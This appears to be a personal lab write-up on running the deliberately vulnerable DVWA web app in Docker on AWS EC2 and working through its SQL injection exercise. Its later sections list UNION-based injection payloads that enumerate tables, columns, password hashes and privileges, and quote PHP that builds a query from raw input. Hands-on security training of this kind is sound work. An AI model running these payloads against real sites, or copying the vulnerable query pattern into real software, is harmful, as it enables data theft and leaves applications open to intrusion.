# Building DVWA platform by using AWS ECS
> - start date: 2024/7/19
:::warning
This exercise is for learning purposes only.
:::
## Table of Contents
1. Run Docker Container on EC2 Instance
2. Run DVWA Using Docker
3. Complete DVWA SQL Injection Lab
## 1. Run Docker Container on EC2 Instance
### build ecs

### run hello-world image
- create Dockerfile
- follow the steps in [official document](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-container-image.html)
- check
```
[root@ip-10-0-0-52 ec2-user]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hello-world latest b85f37968aa9 5 minutes ago 270MB
amazon/amazon-ecs-agent latest 23a4b504cb0c 6 days ago 87.3MB
ecs-service-connect-agent interface-v1 00c4d28642d8 5 weeks ago 107MB
amazon/amazon-ecs-pause 0.1.0 9dd4685d3644 9 years ago 702kB
```
- docker run

#### problem: /home/ec2-user/Dockerfile: Permission denied
The difference in write permissions between /home/ec2-user and /tmp is due to the default security settings and the purpose of these directories in Unix-like systems:
- **/home/ec2-user**:
This is the home directory for the ec2-user.
By default, it's owned by the ec2-user and typically has permissions set to 700 (rwx------).
These permissions mean only the owner (ec2-user) can read, write, and execute in this directory.
When you SCP as ec2-user, you're not changing the ownership, so the strict permissions prevent writing.
- **/tmp**:
This is a temporary directory meant for all users to be able to create temporary files.
It typically has permissions set to 1777 (drwxrwxrwt).
The "t" at the end is the "sticky bit", which allows everyone to write to the directory but prevents users from deleting files they don't own.
These permissions allow any user to write to /tmp, making it accessible for operations like your SCP transfer.

```
[root@ip-10-0-0-52 /]# ls -l
total 12
lrwxrwxrwx 1 root root 7 Jul 9 23:43 bin -> usr/bin
dr-xr-xr-x 4 root root 317 Jul 9 23:43 boot
drwxr-xr-x 15 root root 2800 Jul 19 01:30 dev
drwxr-xr-x 80 root root 8192 Jul 19 01:54 etc
drwxr-xr-x 3 root root 22 Jul 12 16:40 home
lrwxrwxrwx 1 root root 7 Jul 9 23:43 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 9 23:43 lib64 -> usr/lib64
drwxr-xr-x 2 root root 6 Jul 9 23:43 local
drwxr-xr-x 2 root root 6 Apr 9 2019 media
drwxr-xr-x 3 root root 17 Jul 19 01:30 mnt
drwxr-xr-x 4 root root 35 Jul 19 01:30 opt
dr-xr-xr-x 104 root root 0 Jul 19 01:30 proc
dr-xr-x--- 4 root root 118 Jul 19 02:03 root
drwxr-xr-x 26 root root 920 Jul 19 02:03 run
lrwxrwxrwx 1 root root 8 Jul 9 23:43 sbin -> usr/sbin
drwxr-xr-x 2 root root 6 Apr 9 2019 srv
dr-xr-xr-x 13 root root 0 Jul 19 01:30 sys
drwxrwxrwt 8 root root 190 Jul 19 02:23 tmp
drwxr-xr-x 13 root root 155 Jul 9 23:43 usr
drwxr-xr-x 18 root root 254 Jul 19 01:30 var
```
#### problem: attach the ssm policy but still cannot use ssm for connection
Remember to be in privileged mode.
```sh=
sudo su
```
```sh=
systemctl restart amazon-ssm-agent
```
here is the successful result

## 2. Run DVWA Using Docker
- pull image from [here](https://hub.docker.com/r/vulnerables/web-dvwa).
```
docker pull vulnerables/web-dvwa
```
- check for the version
```
[root@ip-10-0-0-52 ec2-user]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> b85f37968aa9 23 minutes ago 270MB
amazon/amazon-ecs-agent latest 23a4b504cb0c 6 days ago 87.3MB
ecs-service-connect-agent interface-v1 00c4d28642d8 5 weeks ago 107MB
hello-world latest d2c94e258dcb 14 months ago 13.3kB
vulnerables/web-dvwa latest ab0d83586b6e 5 years ago 712MB
amazon/amazon-ecs-pause 0.1.0 9dd4685d3644 9 years ago 702kB
```
- latest
- run the container
```
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
```
- for typing other commands, we quit this workspace(container). This step will stop the contianer.
- restart
- with `docker container ls -a`, we can find all the containers(including the stopped ones) ln list.
```
[root@ip-10-0-0-52 ec2-user]# docker container ls -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7786dc734657 amazon/amazon-ecs-agent:latest "/agent" 5 seconds ago Exited (1) 5 seconds ago ecs-agent
c8fc1bfbc303 vulnerables/web-dvwa "/main.sh" About a minute ago Exited (0) 52 seconds ago objective_bohr
0330626a3d3a hello-world "/hello" 14 minutes ago Exited (0) 14 minutes ago admiring_blackwell
d126566354b2 b85f37968aa9 "/bin/sh -c /root/ru…" 18 minutes ago Up 18 minutes 80/tcp gracious_sanderson
```
- restart the container
```
[root@ip-10-0-0-52 ec2-user]# docker container restart c8fc1bfbc303
c8fc1bfbc303
```
- check for it (can also use `docker ps`)
```
[root@ip-10-0-0-52 ec2-user]# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c8fc1bfbc303 vulnerables/web-dvwa "/main.sh" 7 minutes ago Up 7 seconds 80/tcp objective_bohr
d126566354b2 b85f37968aa9 "/bin/sh -c /root/ru…" 24 minutes ago Up 24 minutes 80/tcp gracious_sanderson
```
- get the website
```
[root@ip-10-0-0-52 ec2-user]# curl -L http://localhost
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>
<link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
</head>
<body>
<div id="wrapper">
<div id="header">
<br />
<p><img src="dvwa/images/login_logo.png" /></p>
<br />
</div> <!--<div id="header">-->
<div id="content">
<form action="login.php" method="post">
<fieldset>
<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
<br />
<p class="submit"><input type="submit" value="Login" name="Login"></p>
</fieldset>
<input type='hidden' name='user_token' value='1f29c29bd7c89b432dfd71ca2059046d' />
</form>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<!-- <img src="dvwa/images/RandomStorm.png" /> -->
</div > <!--<div id="content">-->
<div id="footer">
<p><a href="http://www.dvwa.co.uk/" target="_blank">Damn Vulnerable Web Application (DVWA)</a></p>
</div> <!--<div id="footer"> -->
</div> <!--<div id="wrapper"> -->
</body>
</html>
```

>Remember to use `http://<EC2_INSTANCE_PUBLIC_IP>` instead of `https://...` for searching, because we use 80 port.
- login

- reset
- in the loggin page, scroll down and click for reset

- decrease the security level
- go to the "DVWA Security" page

- click to submit

### checking whether your docker is working
```
systemctl status docker
```

### check for logs
```
[root@ip-10-0-0-52 ec2-user]# docker logs c8fc1bfbc303
```
```
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld.
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.3. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <==
==> /var/log/apache2/error.log <==
[Fri Jul 19 03:08:45.854965 2024] [mpm_prefork:notice] [pid 314] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Fri Jul 19 03:08:45.855025 2024] [core:notice] [pid 314] AH00094: Command line: '/usr/sbin/apache2'
==> /var/log/apache2/other_vhosts_access.log <==
^C[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld.
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.3. Set the 'ServerName' directive globally to suppress this message
. ok
==> /var/log/apache2/access.log <==
==> /var/log/apache2/error.log <==
[Fri Jul 19 03:08:45.854965 2024] [mpm_prefork:notice] [pid 314] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Fri Jul 19 03:08:45.855025 2024] [core:notice] [pid 314] AH00094: Command line: '/usr/sbin/apache2'
[Fri Jul 19 03:16:35.114434 2024] [core:warn] [pid 306] AH00098: pid file /var/run/apache2/apache2.pid overwritten -- Unclean shutdown of previous Apache run?
[Fri Jul 19 03:16:35.117043 2024] [mpm_prefork:notice] [pid 306] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Fri Jul 19 03:16:35.117060 2024] [core:notice] [pid 306] AH00094: Command line: '/usr/sbin/apache2'
==> /var/log/apache2/other_vhosts_access.log <==
```
From the logs ahead, it appears that the container is running and both MySQL and Apache are starting up successfully.

### get into the container
```bash=
docker exec -it <CONTAINER_ID> /bin/bash
```
ex
```bash=
docker exec -it c8fc1bfbc303 /bin/bash
```
### problem: no port binding, "curl: (7) Failed to connect to localhost port 80 after 0 ms: Couldn't connect to server"
If you do `curl localhost` and "get curl: (7) Failed to connect to localhost port 80 after 0 ms: Couldn't connect to server," you can solve it by doing the following part.
This problem might due to the missing port. It usually happens when you forget to target specific port like using command `docker run -it <IMAGE_NAME>`. There are two ways for checking:
```
[root@ip-10-0-0-52 ec2-user]# docker inspect c8fc1bfbc303 | grep
PortBindings -A 10
"PortBindings": {},
"RestartPolicy": {
"Name": "no",
"MaximumRetryCount": 0
},
"AutoRemove": false,
"VolumeDriver": "",
"VolumesFrom": null,
"ConsoleSize": [
33,
147
```
```
[root@ip-10-0-0-52 ec2-user]# docker port <CONTAINER_ID>
```
To solve this problem, we have to build a new container.
```bash=
docker stop <CONTAINER_ID>
docker rm <CONTAINER_ID>
```
```bash=
# rebuild
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
```
After doing these steps, the problem has solved.
## 3. Complete DVWA SQL Injection Lab
- payload
```sql
' OR '1
```
- result

- We can know that the type in database is string.
- if I type int
- 
- 
- if I type string
- 
- 
- finding the maximum number of columns
- might try for different number to guess number of database's column
- or try for different numbers of "NULL" to guess number of database's column. For example:
```mysql=
1' UNION SELECT DATABASE(), NULL #
1' UNION SELECT DATABASE(), NULL, NULL #
1' UNION SELECT DATABASE(), NULL, NULL, NULL #
```
- You can find the reason from source code like this. The reason for only two columns is due to variable first_name, last_name.
```php=
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
```
- not over situation

- over situation

- payload for getting database's name
- the result is 2 columns in **field list** (first name and surname)
```sql=
1' UNION SELECT DATABASE(), NULL #
```
- There will be 2 results. The first one is because we input `1'` at the beginning. Therefore, it will print out the user whose id=1.


- if you type `2` the first result will be different

- payload for getting table's name
```sql=
1' UNION SELECT TABLE_NAME, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='dvwa' #
```

- payload for getting all columns in "users" table(to find more personal information)
```sql=
1' UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='dvwa' AND TABLE_NAME='users' #
```
- `FROM INFORMATION_SCHEMA.TABLES`: INFORMATION_SCHEMA is a database that contains metadata about the database system itself. The TABLES view within it holds information about all tables in all databases.
- WHERE TABLE_SCHEMA='dvwa': This filters the results to only show tables from the 'dvwa' database schema.

- payload for getting all columns in the other one
```sql=
1' UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='dvwa' AND TABLE_NAME='guestbook' #
```

- payload for getting password that was hashed
```sql=
1' UNION SELECT password, NULL FROM dvwa.users #
```

The source code for this webpage.
```php=
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
```
## 4. Configure CloudFront and WAF
### more SQL
- get all columns from INFORMATION_SCHEMA
```mysql=
1' UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS; #
```

- grantee column
- The "GRANTEE" column in MySQL's INFORMATION_SCHEMA is related to database privileges and security.
- 
- check PRIVILEGE_TYPE
```
1' UNION SELECT GRANTEE, PRIVILEGE_TYPE FROM INFORMATION_SCHEMA.USER_PRIVILEGES; #
```
- is 'USAGE'

- The USAGE privilege specifier stands for "no privileges." It is used at the global level with GRANT to modify account attributes such as resource limits or SSL characteristics without affecting existing account privileges.
- single query
- in source code, command ` $result = mysqli_query($GLOBALS ...` restricts the number of query that we can input.
## for future
- use **regex pattern set** for WAF
## three learning point
- docker
- SQLI
- WAF